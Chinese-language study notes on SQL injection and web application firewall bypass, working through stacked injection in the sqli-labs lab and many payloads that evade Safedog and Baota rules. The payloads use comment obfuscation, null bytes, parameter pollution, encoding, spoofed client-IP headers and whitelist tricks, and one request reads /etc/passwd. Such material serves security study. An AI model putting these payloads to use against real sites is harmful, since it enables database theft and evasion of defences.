目录
1. 正文
1.1. 堆叠注入
- 堆叠注入。Stacked injections,一堆sql语句(多条)一起执行。真实的mysql运用,主要是命令行中,每一条语句结尾加
;
表示语句结束。这样可以多句一起使用,即堆叠注入 - 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。
1.2. 拦截数据
- 特殊符号:添加杂项字符,既使匹配不到关键字,又不影响语句正常使用。
- 反序列化:将数据以反序列化格式传递,目标代码需要支持反序列化
- 注释符混用:使用注释符干扰特殊匹配,注释符具体数据库不一
安全狗拦截的是database()
,使用select database/**/(); /**/
为sql数据库注释符,不影响数据库语句执行
#部分 bypass sqlinject payload
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!/!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/!44509select/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/!database/(),3%23
id=1/&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase//(),3%23
1.2. fuzz
fuzz:模糊测试
根据特殊字符插入位置,海量测试替换符号字母,测试可以使用的编写方式
2. 示例
2.1. Sqlilabs-Less38-堆叠注入(多语句)
堆叠注入即为:注入中加上另外的语句一起执行
http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
使用场景举例:
注入需要管理员账号密码,密码是加密的,无法解密
堆叠注入进行插入数据,用户密码自定义的,可以正常解密登录
记得创建账号插入到管理员组
2.2. WAF部署-安全狗、宝塔等WAF搭建部署
2.3. 简要讲解安全狗、宝塔等防护WAF策略规则
宝塔是一键搭建网站(同phpStudy)工具,但含有防护插件,
由于防护权限全开或者多开会造成正常访问被拦截,因此存在根据WAF的检测项目的区别,有了绕过的可能性。即WAF的绕过是找检测规则有缺陷
防护规则常见于
- 提交方式拦截。如以GET接受参数时无法
and 1=1
,更换参数提交方式即可绕过,但是常存在网站代码不接收其他提交方式的参数(不如直接卸载安全狗) - 关键字检索。WAF拦截请求使用类似于正则表达式,匹配到相应的查找则拦截访问,比如防止检测到
union
和select
连接出现,可以尝试大小写、加解密、编码解码等
2.4. 简要演示安全狗 bypass sqlinject防护规则
2.4.1. 联合查询
union
和select
同时出现,即触发禁止联合查询防护
可以尝试添加注释符在关键词中间,WAF过滤时检查正常,引入数据库是也可正常运行
#部分bypass sqlinjuect payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
#a 换行
%0A 换行
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
URL编码表,以上转译为:
id=1 union #a
select 1,2,3;#
2.4.2. 参数污染
源于不同的网站对处理参数的处理方式不同,造成漏洞利用
Web服务器 | 使用的获取参数函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”)) | All(List) |
ASP/IIS | ASP/IIS | All(comma-delimited string) |
<?php $x=$_GET['id']; echo $x; ?>
测试id=1&id=2
- 以
id=1&/**id=-1 union select 1,2,3#*/
为例,安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/
或1/**&id=-1 union select 1,2,3#*/
其中符号中起到注释作用,正常情况下没有执行,安全狗不予理睬,但是参数污染导致接收的真实数据是-1 union select 1,2,3#*/
可以正常执行sql
2.4.3. 各种符号混用
旨在突破安全狗的检测,同时不影响注入语句在数据库中执行,这个用fuzz脚本尝试海量测试
2.5. 实测简易CMS头部注入漏洞Bypass原理分析
3. 涉及
堆叠注入详解
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题
以下属于参考大纲
#应用层
-
大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version() -
各种编码
大小写,URL,hex,%0A 等 -
注释使用
// – --+ # // + :%00 /!/等 -
再次循环
union==uunionnion -
等价替换
user()=@@user() and=& or=| ascii=hex 等 -
参数污染
?id=1&id=2&id=3 -
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等 -
更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data -
中间件 HPP 参数污染
#数据库特性
- Mysql 技巧
(1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
(4)mysql 黑魔法
select{x username}from {x11 test.admin}; - SQL Server 技巧
(1)用来注释掉注射后查询的其余部分:
/* C 语言风格注释
– SQL 注释
; 00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(4)函数变形:如 db_name空白字符 - Oracle 技巧
(1)注释符:–、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20] - 配合 FUZZ
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】
from【位置五】admin
#逻辑层
- 逻辑问题
(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP
没有防护,直接访问 HTTP 站点绕过防护。
(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数
输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from
information_schema.columns - 性能问题
猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向
量时超出了其缓冲区长度就会引发 bug,从而实现绕过。
例子 1:
?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试
长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
例子 2:
?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。 - 白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
前提需要知道对方的IP白名单有什么,可以尝试服务器的IP令服务器疑惑为本地请求
二要点是对方接收IP的网络分层。TCP/IP协议中获取等会造成无法使用白名单
不常用,因为条件苛刻
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势;
http://10.9.9.201/sql.php/admin/php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。